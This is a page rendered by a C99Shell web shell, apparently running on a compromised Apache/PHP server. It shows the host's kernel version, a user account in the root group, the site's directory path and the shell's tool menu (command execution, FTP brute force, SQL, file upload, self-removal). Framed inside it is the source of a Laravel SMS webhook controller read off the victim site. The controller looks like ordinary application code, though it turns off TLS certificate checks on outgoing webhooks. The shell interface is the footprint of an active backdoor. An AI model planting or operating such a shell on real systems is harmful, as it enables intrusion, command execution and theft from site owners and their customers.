!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picotext.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.95 GB of 117.98 GB (24.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InboundController.php (11.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Events\SendMail;
use 
App\Models\Contact;
use 
App\Models\CustomerNumber;
use 
App\Models\Exception;
use 
App\Models\Group;
use 
App\Models\Keyword;
use 
App\Models\Label;
use 
App\Models\Message;
use 
App\SmsProvider\SendSMS;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Textlocal;
use 
Twilio\TwiML\MessagingResponse;
use 
Vonage\Client\Credentials\Basic;

class 
InboundController extends Controller
{

    public function 
process($typeRequest $request)
    {
        
cache()->put('webhook''true');
        try {
            
$json = [];
            
$requestData = [];
            if (
$type == 'vonage') {
                
$inbound \Vonage\SMS\Webhook\Factory::createFromGlobals();
                
$requestData['vonage_message_id'] = $MessageSid $inbound->getMessageId();
                
$requestData['from'] = $From $inbound->getFrom();
                
$requestData['to'] = $To $inbound->getTo();
                
$requestData['body'] = $Body $inbound->getText();
            } else if (
$type == 'telnyx') {
                
$json json_decode(file_get_contents("php://input"), true);
                
$From $json["data"]["payload"]["from"]["phone_number"];
                
$To $json["data"]["payload"]["to"][0]["phone_number"];
                
$Body $json["data"]["payload"]["text"];
                
$event_type $json['data']['event_type'];
                
$requestData['from'] = $From;
                
$requestData['to'] = $To;
                
$requestData['body']=$Body;

                if (isset(
$event_type) && $event_type != "message.received") {
                    exit();
                }
            }else if (
$type == 'thinq') {
                
$requestData['body']= $Body $request->message;
                
$requestData['from']= $From "+1".str_replace('+1','',$request->from);
                
$requestData['to']= $To "+1".str_replace('+1','',$request->to);
            }else if(
$type == 'plivo'){
                
$requestData['from']= $From $_REQUEST["From"];
                
$requestData['to']= $To $_REQUEST["To"];
                
$requestData['body']= $Body $_REQUEST["Text"];
            }else if(
$type == 'message_bird'){
                
$requestData['from']= $From $request->originator;
                
$requestData['to']=$To $request->recipient;
                
$requestData['body']= $Body $request->body;
            }else if(
$type == 'infobip'){
                if (!isset(
$request->results["from"]) || !isset($request->results["to"]) || !isset($request->result["text"])){
                    
Log::info('Invalid data');
                    exit();
                }
                
$requestData['from']= $From $request->results["from"];
                
$requestData['to']=$To $request->results["to"];
                
$requestData['body']= $Body $request->result["text"];
            }
            else {
                
$requestData['from'] = $From "+".str_replace('+','',$request["From"]);
                
$requestData['to'] = $To =  "+".str_replace('+','',$request["To"]);
                
$requestData['body'] = $Body $request["Text"];
            }

           
$this->inboundMessage($type$From$To$Body$requestData);
        } catch (
\Exception $ex) {
            
Log::error($ex->getMessage());
        }

    }

    function 
sendForwardMessage($smsQueue)
    {
        try {
            
$sendSMS = new SendSMS();
            
$sendSMS->setMessage($smsQueue)
                ->
process();

        } catch (
\Exception $ex) {
            
Log::error("forward message error");
        }
    }

    public function 
gatewayStatus(Request $request)
    {

        
$sms_gateway_data = [
            
'message_sent_date' => $request->sent_date,
            
'part_number' => $request->part_number,
            
'message_cost' => $request->message_cost,
            
'message_status' => $request->message_status,
            
'dlr_date' => $request->dlr_date,
        ];
        try {
            if (
$request->message_id && $request->status) {
                
$queue Message::where('sms_gateway_message_id'$request->message_id)->first();
                
$queue->sms_gateway_status $request->status;
                
$queue->sms_gateway_value json_encode($sms_gateway_data);
                
$queue->save();
            }
        } catch (
\Exception $ex) {
            
Log::error($ex->getMessage());
        }
        return 
response()->json([], 200);

    }

    function 
trigger_webhook($customer_number$webhookData)
    {
        if (isset(
$customer_number) && isset($customer_number->webhook_url) && isset($customer_number->webhook_method) && $customer_number->webhook_method == 'post') {
            
$client = new \GuzzleHttp\Client(['verify' => false]);
            
$client->post($customer_number->webhook_url, [
                
'form_params' => $webhookData
            
]);

        } else if (isset(
$customer_number) && isset($customer_number->webhook_url) && isset($customer_number->webhook_method) && $customer_number->webhook_method == 'get') {
            
$client = new \GuzzleHttp\Client(['verify' => false]);
            
$client->get($customer_number->webhook_url, [
                
'query' => $webhookData
            
]);
        }
    }

    public function 
webhookDeliver(Request $request)
    {

        try {
            
$json json_decode(file_get_contents("php://input"), true);

            if (isset(
$json["data"]) && isset($json["data"]["id"])) {
                
$responseCode = isset($json["data"]["errors"]) && isset($json["data"]["errors"][0]) && isset($json["data"]["errors"][0]["code"]) ? $json["data"]["errors"][0]["code"] : null;
                
$messageQueue Message::where('response_id'$json["data"]["id"])->firstOrFail();
                
$messageLog MessageLog::where('response_id'$json["data"]["id"])->firstOrFail();
                if (
$responseCode) {
                    
$messageQueue->response_code $responseCode;
                    
$messageLog->update(['response_code' => $responseCode]);
                } else {
                    
$messageQueue->delivered_at now();
                }
                
$messageQueue->save();

                if (isset(
$json["data"]["errors"])) {
                    
$messageLog->update(['status' => 'failed']);
                    
$messageQueue->update(['status' => 'failed']);
                }
            }
            return 
response()->json(['status' => 'success']);
        } catch (
\Exception $ex) {
            
Log::info($ex->getMessage());
            return 
response()->json(['status' => 'failed']);
        }
    }

    public function 
checkKeyword($from$body$customer_number)
    {
        try {
            
$contact Contact::where('number'$from)
                ->
orWhere('number'str_replace('+'''$from))
                ->
orWhere('number''+' str_replace('+'''$from))
                ->
first();
            
$label Label::where('customer_id'$customer_number->customer_id)->where('title''new')->first();
            if (!
$label) {
                
$label = new Label();
                
$label->title 'new';
                
$label->status 'active';
                
$label->customer_id $customer_number->customer_id;
                
$label->color 'red';
                
$label->save();
            }
            if (!
$contact) {
                
$contact = new Contact();
                
$contact->customer_id $customer_number->customer_id;
                
$contact->number $from;
                
$contact->label_id $label->id;
                
$contact->save();
            }
            
$keyword null;

            if (
$customer_number) {
                
$keyword Keyword::where(DB::raw('lower(word)'), 'like''%' strtolower($body) . '%')->where('customer_number_id'$customer_number->id)->first();
            }


            if (
$keyword && isset($keyword->type) && $keyword->type == 'opt_out') {
                    
$exception = new Exception();
                    
$exception->customer_id=$contact->customer_id;
                    
$exception->number=$contact->number;
                    
$exception->save();
                exit;
            } else if (
$keyword && isset($keyword->type) && $keyword->type == 'opt_in') {
                
$group=Group::where('customer_id'$contact->customer_id)->where('id'$keyword->group_id)->first();
                
$contact->update(['keyword_id'=>$keyword->id]);
                if (
$group) {
                    
$existingContact $group->contacts->where('contact_id'$contact->id)->first();
                    if (!
$existingContact) {
                        
$group->contacts()->create(['contact_id' => $contact->id'customer_id' => $contact->customer_id'group_id' => $group->id]);
                    }
                }
                exit();
            }
            return;
        } catch (
\Exception $exception) {
            
Log::error($exception->getMessage());
            return;
        }
    }

    function 
inboundMessage($type$From$To$Body$requestData null)
    {

        
$customer_number CustomerNumber::where('number'$To)
            ->
orWhere('number'str_replace('+'''$To))
            ->
orWhere('number''+' str_replace('+'''$To))
            ->
first();
        if (!
$customer_number) {
            
Log::info("not found in customer number");
            echo 
'<?xml version="1.0" encoding="UTF-8"?>
                    <Response>
                    </Response>'
;
            exit();
        }

        
$this->checkKeyword($From$Body$customer_number);

        
$customer $customer_number->customer;

        
$gateway=$customer->gateways()->where('id'$customer_number->dynamic_gateway_id)->first();

        if(!
$gateway){
            
Log::info("Gateway not found. Invalid request");
            exit();
        }

        
$smsQueue$customer->messages()->create([
            
'from' => $From,
            
'to' => $To,
            
'body' => $Body,
            
'created_at' => now(),
            
'updated_at' => now(),
            
'type' => 'inbox',
            
'status' => 'succeed',
            
'dynamic_gateway_id' => $gateway->id,
        ]);

        if (
$customer_number->forward_to) {
          
$this->sendForwardMessage($smsQueue);
        }
        if (
$customer_number->webhook_url) {
            
$requestData['webhook_url']=url()->current();
            
$this->trigger_webhook($customer_number$requestData);
        }

        if (isset(
$customer) && isset($customer->email)) {
            
$notification $customer->settings()->where('name''email_notification')->first();
            if (isset(
$notification->value) && $notification->value == 'true' && $Body) {
                
SendMail::dispatch($customer->email'You have got a sms from '.$From$Body);
            }
        }

        
$this->generateResponse($type); // NB: If you are adding new sms gateway make sure you return response based on type

    
}

    public function 
plivoWebhook($message_idRequest $request)
    {

    }

    public function 
generateResponse($type)
    {
        if (
$type == 'signalwire') {
            echo 
'<?xml version="1.0" encoding="UTF-8"?>
                    <Response>
                    </Response>'
;
        } else if (
$type == 'twilio') {
            
$resp = new MessagingResponse();
            echo 
$resp;
        } else if (
$type == 'telnyx') {
            echo 
'<?xml version="1.0" encoding="UTF-8"?>
                    <Response>
                    </Response>'
;
        } else if (
$type == 'plivo') {
            echo 
'<?xml version="1.0" encoding="UTF-8"?>
                    <Response>
                    </Response>'
;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--